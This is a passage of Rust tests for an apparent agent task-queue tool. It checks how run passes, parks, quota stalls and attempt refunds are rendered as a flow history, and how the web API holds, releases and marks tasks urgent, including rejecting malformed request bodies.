17768    fn flow_follows_blocked_retry_merged_to_done() {
17769        let mut t = flow_task(&[FA, FB]);
17770        t.status = TaskStatus::Done;
17771        let f = flow_for(
17772            &t,
17773            &[
17774                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
17775                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
17776            ],
17777        );
17778        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
17779        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
17780        assert_eq!(f.edges.len(), 3);
17781        assert_eq!(f.edges[0].label, "claimed");
17782        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
17783        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
17784        assert_eq!(f.edges[2].label, "merged \u{2192} done");
17785        assert_eq!(
17786            f.nodes[2].href.as_deref(),
17787            Some("#/runs/20260902-140502-bbbb")
17788        );
17789        assert!(f.nodes[2].decided);
17790    }
17791
17792    #[test]
17793    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
17794        let quota = || {
17795            flow_run(RunStatus::Stalled, |s| {
17796                s.quota.push(crate::run::QuotaLoss {
17797                    cause: crate::agent::QuotaCause::UsageLimit,
17798                    agent: String::new(),
17799                    seat: "judge-1".to_owned(),
17800                    node: "judge".to_owned(),
17801                    at: Timestamp::now(),
17802                    reset: None,
17803                })
17804            })
17805        };
17806        let mut t = flow_task(&[FA, FA]);
17807        t.status = TaskStatus::Queued;
17808        let f = flow_for(&t, &[(FA, Some(quota()))]);
17809        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
17810        assert_eq!(f.nodes[1].note, Some("interrupted"));
17811        assert_eq!(
17812            f.nodes[1].status, None,
17813            "no outcome copied onto an earlier pass"
17814        );
17815        assert_eq!(
17816            f.edges[1].attempt,
17817            AttemptCost::Unknown,
17818            "a resume does not prove the earlier pass was refunded"
17819        );
17820        assert!(f.edges[1].label.contains("resume the same run"));
17821        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
17822        assert_eq!(
17823            f.edges[2].label,
17824            "stalled after a resume, refund unknown \u{2192} queued"
17825        );
17826        assert!(!f.nodes[2].decided, "a stall is not a decision");
17827        assert_eq!(f.nodes[2].note, Some("no verdict"));
17828    }
17829
17830    #[test]
17831    fn flow_single_pass_quota_stall_is_refunded() {
17832        let t = flow_task(&[FA]);
17833        let f = flow_for(
17834            &t,
17835            &[(
17836                FA,
17837                Some(flow_run(RunStatus::Stalled, |s| {
17838                    s.quota.push(crate::run::QuotaLoss {
17839                        cause: crate::agent::QuotaCause::UsageLimit,
17840                        agent: String::new(),
17841                        seat: "judge-1".to_owned(),
17842                        node: "judge".to_owned(),
17843                        at: Timestamp::now(),
17844                        reset: None,
17845                    })
17846                })),
17847            )],
17848        );
17849        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17850    }
17851
17852    #[test]
17853    fn flow_parked_refunds_and_stall_without_quota_spends() {
17854        let mut t = flow_task(&[FA]);
17855        t.status = TaskStatus::Queued;
17856        let f = flow_for(
17857            &t,
17858            &[(
17859                FA,
17860                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
17861            )],
17862        );
17863        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
17864        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17865        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
17866        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
17867        assert!(!f.nodes[1].decided);
17868    }
17869
17870    #[test]
17871    fn flow_keeps_an_unreadable_run_as_its_own_node() {
17872        let t = flow_task(&[FA, FB]);
17873        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
17874        assert_eq!(f.nodes[1].note, Some("unreadable"));
17875        assert!(!f.nodes[1].readable);
17876        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
17877        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
17878    }
17879
17880    #[test]
17881    fn flow_names_the_branch_of_a_review_only_run() {
17882        let t = flow_task(&[FA]);
17883        let f = flow_for(
17884            &t,
17885            &[(
17886                FA,
17887                Some(flow_run(RunStatus::Merged, |s| {
17888                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
17889                })),
17890            )],
17891        );
17892        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
17893        assert_eq!(
17894            f.nodes[1].detail.as_deref(),
17895            Some("review-only run of branch magi/x/A")
17896        );
17897    }
17898
17899    #[test]
17900    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
17901        let mut t = flow_task(&[FA]);
17902        t.status = TaskStatus::Held;
17903        let pr = crate::run::PrRecord {
17904            url: "https://example.test/pr/1".to_owned(),
17905            number: 1,
17906            state: "open".to_owned(),
17907            checks: "green".to_owned(),
17908            round: 0,
17909            rounds: 3,
17910            red_at_merge: Vec::new(),
17911        };
17912        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
17913        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
17914        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
17915        t.status = TaskStatus::Done;
17916        let f = flow_for(&t, &[(FA, Some(blocked))]);
17917        assert_eq!(f.edges[1].label, "closed by hand: task is done");
17918    }
17919
17920    #[test]
17921    fn flow_with_no_runs_goes_from_queued_to_queued() {
17922        let t = flow_task(&[]);
17923        let f = flow_for(&t, &[]);
17924        assert_eq!(f.nodes.len(), 2);
17925        assert_eq!(f.edges.len(), 1);
17926        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
17927        assert_eq!(f.edges[0].attempt, AttemptCost::None);
17928    }
17929
17930    /// A run parked mid-flight keeps a non-terminal status; the page must
17931    /// still say why it stopped and that the attempt came back.
17932    #[test]
17933    fn a_parked_non_terminal_run_is_explained_as_parked() {
17934        let mut s = RunState::new(
17935            PathBuf::from("/repo/magi"),
17936            "main".to_owned(),
17937            "0123456789abcdef".to_owned(),
17938            "Do it".to_owned(),
17939            Config::default(),
17940        );
17941        s.status = RunStatus::Implementing;
17942        s.parked = true;
17943        let task = Task::new(
17944            "t".to_owned(),
17945            "Do it".to_owned(),
17946            PathBuf::from("/repo/magi"),
17947            Source::Human,
17948        );
17949        let v = task_run_view(
17950            "20260902-140501-aaaa",
17951            Some(&s),
17952            RunSlot {
17953                n: 1,
17954                resumed: false,
17955                resumed_later: None,
17956                prior: None,
17957                last: true,
17958                ..RunSlot::default()
17959            },
17960            &task,
17961        );
17962        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
17963    }
17964
17965    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
17966        let mut s = flow_run(RunStatus::Implementing, edit);
17967        s.parked = false;
17968        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
17969        task_run_view(
17970            "20260902-140501-aaaa",
17971            Some(&s),
17972            RunSlot {
17973                n: 1,
17974                resumed: false,
17975                resumed_later: Some(2),
17976                prior: None,
17977                last: false,
17978                ..RunSlot::default()
17979            },
17980            &task,
17981        )
17982    }
17983
17984    #[test]
17985    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
17986        let v = earlier_pass_view(|_| {});
17987        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
17988        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
17989        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
17990        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
17991        assert_eq!(v.exit, RunExit::Interrupted);
17992        assert_eq!(v.attempt, AttemptCost::Unknown);
17993    }
17994
17995    #[test]
17996    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
17997        let v = earlier_pass_view(|s| {
17998            s.quota.push(crate::run::QuotaLoss {
17999                cause: crate::agent::QuotaCause::UsageLimit,
18000                agent: String::new(),
18001                seat: "judge-1".to_owned(),
18002                node: "judge".to_owned(),
18003                at: Timestamp::now(),
18004                reset: None,
18005            });
18006        });
18007        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
18008        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
18009        assert_eq!(v.attempt, AttemptCost::Unknown);
18010    }
18011
18012    #[test]
18013    fn the_current_pass_states_its_recorded_cause_and_cost() {
18014        let slot = || RunSlot {
18015            n: 1,
18016            resumed: false,
18017            resumed_later: None,
18018            prior: None,
18019            last: true,
18020            ..RunSlot::default()
18021        };
18022        let task = flow_task(&["20260902-140501-aaaa"]);
18023        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
18024        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
18025        assert_eq!(
18026            (v.exit, v.attempt),
18027            (RunExit::Parked, AttemptCost::Refunded)
18028        );
18029        let spent = flow_run(RunStatus::Blocked, |_| {});
18030        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
18031        assert_eq!(v.attempt, AttemptCost::Spent);
18032        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
18033    }
18034
18035    fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
18036        crate::run::RunPass {
18037            index,
18038            started_at: Timestamp::now(),
18039            resumed: index > 0,
18040            ended_at: end.as_ref().map(|_| Timestamp::now()),
18041            end,
18042            task_entry: true,
18043        }
18044    }
18045
18046    fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
18047        Some(crate::run::PassEnd::Parked { cause })
18048    }
18049
18050    fn upgrade_cause() -> crate::run::ParkCause {
18051        crate::run::ParkCause::Upgrade {
18052            from: "0.121.0".to_owned(),
18053            to: Some("0.121.1".to_owned()),
18054        }
18055    }
18056
18057    fn settled_pass(
18058        run: &str,
18059        index: usize,
18060        cost: crate::queue::PassCost,
18061    ) -> crate::queue::TaskPass {
18062        crate::queue::TaskPass {
18063            run: run.to_owned(),
18064            pass_index: index,
18065            started_at: None,
18066            cost,
18067            attempts_after: 1,
18068            settled_at: Timestamp::now(),
18069            parked: None,
18070        }
18071    }
18072
18073    const RUN_X: &str = "20261011-223708-4334";
18074
18075    #[test]
18076    fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
18077        use crate::queue::PassCost;
18078        let run = flow_run(RunStatus::Implementing, |s| {
18079            s.passes = vec![
18080                recorded_pass(0, parked(upgrade_cause())),
18081                recorded_pass(1, None),
18082            ];
18083        });
18084        let mut task = flow_task(&[RUN_X, RUN_X]);
18085        task.attempts = 1;
18086        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
18087        let h = task_history(&task, |_| Some(run.clone()));
18088        assert_eq!(h.len(), 2);
18089        assert_eq!(h[0].kind, "competition");
18090        assert_eq!(h[1].kind, "resume");
18091        assert_eq!(
18092            (h[0].exit, h[0].attempt),
18093            (RunExit::Parked, AttemptCost::Refunded)
18094        );
18095        assert!(
18096            h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
18097            "{}",
18098            h[0].outcome
18099        );
18100        assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
18101        assert!(
18102            h[0].outcome.contains("pass #2 resumed the same run"),
18103            "{}",
18104            h[0].outcome
18105        );
18106        assert!(
18107            h[0].outcome.contains("pass 1 of 2 over run"),
18108            "{}",
18109            h[0].outcome
18110        );
18111        assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
18112        assert_eq!(
18113            h[0].exit_label,
18114            "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
18115        );
18116        let f = task_flow(&task, &h, 2, None);
18117        // Two passes of one run, one of two attempts consumed.
18118        assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
18119        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
18120        assert!(
18121            f.edges[1].label.contains("upgrade 0.121.0"),
18122            "{}",
18123            f.edges[1].label
18124        );
18125        assert!(
18126            f.edges[1].label.contains("resume the same run"),
18127            "{}",
18128            f.edges[1].label
18129        );
18130        assert_eq!(f.nodes[1].note, Some("parked"));
18131    }
18132
18133    #[test]
18134    fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
18135        let mut a = flow_run(RunStatus::Implementing, |s| {
18136            s.passes = vec![
18137                recorded_pass(0, parked(upgrade_cause())),
18138                recorded_pass(1, None),
18139            ];
18140        });
18141        let mut b = flow_run(RunStatus::Failed, |s| {
18142            s.passes = vec![recorded_pass(0, None)];
18143        });
18144        a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
18145        b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
18146        a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
18147        let mut task = flow_task(&[]);
18148        task.start("a".into());
18149        task.start("b".into());
18150        task.start("a".into());
18151        assert_eq!(task.runs, ["b", "a"]);
18152        task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
18153        let h = task_history(&task, |id| {
18154            Some(if id == "a" { a.clone() } else { b.clone() })
18155        });
18156        assert_eq!(
18157            h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
18158            ["a", "b", "a"]
18159        );
18160        assert_eq!(h[0].attempt, AttemptCost::Refunded);
18161        assert!(h[0].outcome.contains("upgrade"));
18162        assert_eq!(h[2].kind, "resume");
18163        assert!(h[2].pass.is_some());
18164        // The old repeated-id format must show the same recorded passes.
18165        task.runs = vec!["a".into(), "b".into(), "a".into()];
18166        let old = task_history(&task, |id| {
18167            Some(if id == "a" { a.clone() } else { b.clone() })
18168        });
18169        assert_eq!(
18170            old.iter()
18171                .map(|v| (&v.id, &v.kind, v.attempt))
18172                .collect::<Vec<_>>(),
18173            h.iter()
18174                .map(|v| (&v.id, &v.kind, v.attempt))
18175                .collect::<Vec<_>>()
18176        );
18177    }
18178
18179    #[test]
18180    fn an_upgrade_whose_target_was_not_known_says_so() {
18181        let run = flow_run(RunStatus::Implementing, |s| {
18182            s.passes = vec![
18183                recorded_pass(
18184                    0,
18185                    parked(crate::run::ParkCause::Upgrade {
18186                        from: "0.121.0".to_owned(),
18187                        to: None,
18188                    }),
18189                ),
18190                recorded_pass(1, None),
18191            ];
18192        });
18193        let task = flow_task(&[RUN_X, RUN_X]);
18194        let h = task_history(&task, |_| Some(run.clone()));
18195        assert!(
18196            h[0].outcome.contains("upgrade from 0.121.0"),
18197            "{}",
18198            h[0].outcome
18199        );
18200        // No settle record: the refund is not claimed.
18201        assert_eq!(h[0].attempt, AttemptCost::Unknown);
18202    }
18203
18204    #[test]
18205    fn each_pass_keeps_its_own_cause_across_several_resumes() {
18206        use crate::queue::PassCost;
18207        use crate::run::ParkCause;
18208        let run = flow_run(RunStatus::Implementing, |s| {
18209            s.passes = vec![
18210                recorded_pass(0, parked(upgrade_cause())),
18211                recorded_pass(
18212                    1,
18213                    parked(ParkCause::Interrupt {
18214                        reason: "task a1b2 asked to run first".to_owned(),
18215                    }),
18216                ),
18217                recorded_pass(2, parked(ParkCause::Operator)),
18218                recorded_pass(3, None),
18219            ];
18220        });
18221        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
18222        task.attempts = 1;
18223        task.passes = (0..3)
18224            .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
18225            .collect();
18226        let h = task_history(&task, |_| Some(run.clone()));
18227        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
18228        assert!(
18229            h[1].outcome.contains("task a1b2 asked to run first"),
18230            "{}",
18231            h[1].outcome
18232        );
18233        assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
18234        assert!(
18235            h[2].outcome.contains("operator asked the loop to park"),
18236            "{}",
18237            h[2].outcome
18238        );
18239        assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
18240        let f = task_flow(&task, &h, 2, None);
18241        assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
18242    }
18243
18244    #[test]
18245    fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
18246        let run = flow_run(RunStatus::Implementing, |s| {
18247            s.passes = vec![
18248                recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
18249                recorded_pass(1, None),
18250            ];
18251        });
18252        let task = flow_task(&[RUN_X, RUN_X]);
18253        let h = task_history(&task, |_| Some(run.clone()));
18254        assert_eq!(h[0].exit, RunExit::Interrupted);
18255        assert_eq!(h[0].attempt, AttemptCost::Unknown);
18256        assert!(
18257            h[0].outcome.contains("without recording why"),
18258            "{}",
18259            h[0].outcome
18260        );
18261        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
18262        assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
18263    }
18264
18265    #[test]
18266    fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
18267        use crate::queue::PassCost;
18268        // Three entries, but the run only began keeping passes at the last
18269        // two: the first is legacy and must not be given a cause.
18270        let run = flow_run(RunStatus::Implementing, |s| {
18271            s.passes = vec![
18272                recorded_pass(0, parked(upgrade_cause())),
18273                recorded_pass(1, None),
18274            ];
18275        });
18276        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
18277        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
18278        let h = task_history(&task, |_| Some(run.clone()));
18279        assert!(h[0].pass.is_none());
18280        assert_eq!(h[0].exit, RunExit::Interrupted);
18281        assert_eq!(h[0].attempt, AttemptCost::Unknown);
18282        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
18283        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
18284        assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
18285        // A run with no passes at all is entirely unknown.
18286        let legacy = flow_run(RunStatus::Implementing, |_| {});
18287        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
18288        assert!(h.iter().all(|v| v.pass.is_none()));
18289        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
18290    }
18291
18292    #[test]
18293    fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
18294        use crate::queue::PassCost;
18295        // Pass 1 is a web-button resume: a pass of the run, no entry of the
18296        // task. The two entries are passes 0 and 2.
18297        let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
18298        web.task_entry = false;
18299        let run = flow_run(RunStatus::Implementing, |s| {
18300            s.passes = vec![
18301                recorded_pass(0, parked(upgrade_cause())),
18302                web.clone(),
18303                recorded_pass(2, None),
18304            ];
18305        });
18306        let mut task = flow_task(&[RUN_X, RUN_X]);
18307        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
18308        let h = task_history(&task, |_| Some(run.clone()));
18309        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
18310        assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
18311
18312        // Legacy first entry, then a web resume that parked for an upgrade,
18313        // then the daemon's pass: the legacy entry must stay unknown.
18314        let mut web0 = recorded_pass(0, parked(upgrade_cause()));
18315        web0.task_entry = false;
18316        let run = flow_run(RunStatus::Implementing, |s| {
18317            s.passes = vec![web0.clone(), recorded_pass(1, None)];
18318        });
18319        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
18320        assert!(h[0].pass.is_none());
18321        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
18322        assert!(h[1].pass.is_some());
18323    }
18324
18325    #[tokio::test]
18326    async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
18327        let dir = tempfile::tempdir().unwrap();
18328        let queue = Queue::at(dir.path().join("queue"));
18329        let ui = Arc::new(Ui::new(
18330            queue.clone(),
18331            Questions::at(dir.path().join("questions")),
18332            Talks::at(dir.path().join("talks")),
18333            dir.path().join("runs"),
18334            dir.path().to_path_buf(),
18335            dir.path().to_path_buf(),
18336        ));
18337        let mut t = Task::new(
18338            "recover".into(),
18339            "Inspect".into(),
18340            PathBuf::from("."),
18341            Source::Human,
18342        );
18343        t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
18344        t.start("run-A".into());
18345        t.release_operator("choice", Some("resume-question"));
18346        t.resume_override = Some(crate::queue::OperatorResume {
18347            question_id: "resume-question".into(),
18348            at: jiff::Timestamp::now(),
18349            conductor_rehold: None,
18350            forced: true,
18351            pinned_run: Some("run-A".into()),
18352        });
18353        t.hold_machine(Some("inspection pending".into()));
18354        t.edit("recover".into(), "Reuse approved PR head".into())
18355            .unwrap();
18356        queue.put(&mut t).unwrap();
18357        let mut cli = t.clone();
18358        cli.release_operator("cli", None);
18359        let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
18360        let reloaded = queue.get(&t.id).unwrap();
18361        assert_eq!(reply.task.status, TaskStatus::Queued);
18362        assert!(reloaded.resume_override.is_none());
18363        assert_eq!(reloaded.answers, t.answers);
18364        let mut web = reloaded.resumption.unwrap();
18365        let cli = cli.resumption.unwrap();
18366        assert_eq!(web.source, "web");
18367        web.source = cli.source.clone();
18368        web.at = cli.at;
18369        assert_eq!(web, cli);
18370    }
18371
18372    #[tokio::test]
18373    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
18374        let f = Fixture::start().await;
18375        let queue = f.queue();
18376        let mut task = Task::new(
18377            "spent".to_owned(),
18378            "Try again".to_owned(),
18379            PathBuf::from("/repo/magi"),
18380            Source::Human,
18381        );
18382        task.start("20260902-140502-bbbb".to_owned());
18383        task.fail("agent gave up", 9);
18384        queue.put(&mut task).expect("file the task");
18385
18386        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
18387        assert_eq!(held.status, 200);
18388        assert_eq!(held.json()["status_str"], "held");
18389
18390        let released = f
18391            .post(&format!("/api/queue/{}/release", task.id), None)
18392            .await;
18393        assert_eq!(released.status, 200);
18394        assert_eq!(released.json()["status_str"], "queued");
18395        assert_eq!(released.json()["resumption"]["source"], "web");
18396        assert_eq!(released.json()["resumption"]["instruction"], "Try again");
18397        let mut cli = task.clone();
18398        cli.release_operator("cli", None);
18399        let web = queue.get(&task.id).unwrap().resumption.unwrap();
18400        let cli = cli.resumption.unwrap();
18401        assert_eq!(web.instruction, cli.instruction);
18402        assert_eq!(web.answers_through, cli.answers_through);
18403        assert_eq!(web.runs_through, cli.runs_through);
18404        assert_eq!(web.cleared_reason, cli.cleared_reason);
18405        assert_eq!(
18406            released.json()["attempts"],
18407            0,
18408            "release is a real second chance, not an instant re-hold"
18409        );
18410        assert_eq!(
18411            queue.get(&task.id).expect("reload").status,
18412            TaskStatus::Queued,
18413            "the change is on disk, not only in the reply"
18414        );
18415        assert!(
18416            !f.home
18417                .path()
18418                .join("queue")
18419                .join(format!("{}.lock", task.id))
18420                .exists(),
18421            "the claim the mutation took is released again"
18422        );
18423    }
18424
18425    #[tokio::test]
18426    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
18427        let f = Fixture::start().await;
18428        let queue = f.queue();
18429        let mut task = Task::new(
18430            "busy".to_owned(),
18431            "Running right now".to_owned(),
18432            PathBuf::from("/repo/magi"),
18433            Source::Human,
18434        );
18435        queue.put(&mut task).expect("file the task");
18436        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
18437
18438        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
18439
18440        assert_eq!(res.status, 409);
18441        assert_eq!(
18442            queue.get(&task.id).expect("reload").status,
18443            TaskStatus::Queued,
18444            "the refused hold changed nothing"
18445        );
18446    }
18447
18448    #[tokio::test]
18449    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
18450        let f = Fixture::start().await;
18451        let queue = f.queue();
18452        let mut task = Task::new(
18453            "waiting on the migration".to_owned(),
18454            "Do the thing".to_owned(),
18455            PathBuf::from("/repo/magi"),
18456            Source::Human,
18457        );
18458        queue.put(&mut task).expect("file the task");
18459
18460        let held = f
18461            .post(
18462                &format!("/api/queue/{}/hold", task.id),
18463                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
18464            )
18465            .await;
18466        assert_eq!(held.status, 200, "{}", held.body);
18467        assert_eq!(held.json()["status_str"], "held");
18468        assert_eq!(
18469            held.json()["hold_reason"],
18470            "waiting for 20260101-000000-aaaa to land"
18471        );
18472
18473        let listed = f.get("/api/queue").await.json();
18474        assert_eq!(
18475            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
18476            "the card reads the reason off the same list route"
18477        );
18478
18479        // A hold with no body at all must keep working - most holds have no
18480        // reason to give.
18481        let mut plain = Task::new(
18482            "no reason given".to_owned(),
18483            "Do another thing".to_owned(),
18484            PathBuf::from("/repo/magi"),
18485            Source::Human,
18486        );
18487        queue.put(&mut plain).expect("file the task");
18488        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
18489        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
18490        assert!(held_plain.json()["hold_reason"].is_null());
18491
18492        let released = f
18493            .post(&format!("/api/queue/{}/release", task.id), None)
18494            .await;
18495        assert_eq!(released.status, 200);
18496        assert!(
18497            released.json()["hold_reason"].is_null(),
18498            "a release must clear the reason so the next hold does not inherit it"
18499        );
18500    }
18501
18502    #[test]
18503    fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
18504        for urgent in [true, false] {
18505            let body: UrgentBody =
18506                serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
18507            assert_eq!(body.urgent, urgent);
18508        }
18509        for input in [
18510            r#"{}"#,
18511            r#"{"urgent":null}"#,
18512            r#"{"urgent":"true"}"#,
18513            r#"{"urgent":1}"#,
18514            r#"{"urgent":true,"extra":false}"#,
18515        ] {
18516            assert!(
18517                serde_json::from_str::<UrgentBody>(input).is_err(),
18518                "{input}"
18519            );
18520        }
18521    }
18522
18523    #[tokio::test]
18524    async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
18525        let home = TempDir::new().unwrap();
18526        let q = Queue::at(home.path().join("queue"));
18527        let ui = Arc::new(Ui::new(
18528            q.clone(),
18529            Questions::at(home.path().join("questions")),
18530            Talks::at(home.path().join("talks")),
18531            home.path().join("runs"),
18532            home.path().into(),
18533            home.path().into(),
18534        ));
18535        let mut task = Task::new(
18536            "urgent handler".into(),
18537            "keep".into(),
18538            home.path().into(),
18539            Source::Human,
18540        );
18541        for status in [TaskStatus::Queued, TaskStatus::Held] {
18542            task.status = status;
18543            q.put(&mut task).unwrap();
18544            for urgent in [true, true, false, false] {
18545                let saved = queue_urgent(
18546                    State(Arc::clone(&ui)),
18547                    Path(task.short().into()),
18548                    Ok(Json(UrgentBody { urgent })),
18549                )
18550                .await
18551                .unwrap();
18552                assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
18553                assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
18554            }
18555        }
18556        task.status = TaskStatus::Queued;
18557        q.put(&mut task).unwrap();
18558        let claim = q.claim(&task.id).unwrap();
18559        let error = queue_urgent(
18560            State(Arc::clone(&ui)),
18561            Path(task.id.clone()),
18562            Ok(Json(UrgentBody { urgent: true })),
18563        )
18564        .await
18565        .unwrap_err();
18566        assert_eq!(error.status, StatusCode::CONFLICT);
18567        assert!(error.message.contains("released"));
18568        drop(claim);
18569        for status in [
18570            TaskStatus::Running,
18571            TaskStatus::Done,
18572            TaskStatus::Failed,
18573            TaskStatus::Blocked,
18574            TaskStatus::Parked,
18575        ] {
18576            task.status = status;
18577            q.put(&mut task).unwrap();
18578            let error = queue_urgent(
18579                State(Arc::clone(&ui)),
18580                Path(task.id.clone()),
18581                Ok(Json(UrgentBody { urgent: false })),
18582            )
18583            .await
18584            .unwrap_err();
18585            assert_eq!(error.status, StatusCode::BAD_REQUEST);
18586            assert!(error.message.contains(status.as_str()));
18587        }
18588    }
18589
18590    #[tokio::test]
18591    async fn urgent_api_updates_preserves_and_validates_tasks() {
18592        let f = Fixture::start().await;
18593        let q = f.queue();
18594        let mut t = Task::new(
18595            "urgent API".into(),
18596            "unchanged".into(),
18597            PathBuf::from("/repo/magi"),
18598            Source::Human,
18599        );
18600        t.attempts = 2;
18601        t.priority = 9;
18602        t.interrupt = true;
18603        t.hold_reason = Some("waiting for approval".into());
18604        for status in [TaskStatus::Queued, TaskStatus::Held] {
18605            t.status = status;
18606            q.put(&mut t).unwrap();
18607            for urgent in [true, true, false, false] {
18608                let response = f
18609                    .post(
18610                        &format!("/api/queue/{}/urgent", t.short()),
18611                        Some(&format!("{{\"urgent\":{urgent}}}")),
18612                    )
18613                    .await;
18614                assert_eq!(response.status, 200, "{}", response.body);
18615                assert_eq!(response.json()["urgent"], urgent);
18616                let saved = q.get(&t.id).unwrap();
18617                let mut before = serde_json::to_value(&t).unwrap();
18618                let mut after = serde_json::to_value(saved).unwrap();
18619                before["urgent"] = urgent.into();
18620                before.as_object_mut().unwrap().remove("updated_at");
18621                after.as_object_mut().unwrap().remove("updated_at");
18622                assert_eq!(after, before);
18623            }
18624        }
18625        let route = format!("/api/queue/{}/urgent", t.id);
18626        for body in [
18627            r#"{}"#,
18628            r#"{"urgent":null}"#,
18629            r#"{"urgent":"true"}"#,
18630            r#"{"urgent":1}"#,
18631            r#"{"urgent":true,"extra":false}"#,
18632            "{",
18633        ] {
18634            assert_eq!(f.post(&route, Some(body)).await.status, 400);
18635        }
18636        t.status = TaskStatus::Queued;
18637        q.put(&mut t).unwrap();
18638        let claim = q.claim(&t.id).unwrap();
18639        let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
18640        assert_eq!(response.status, 409, "{}", response.body);
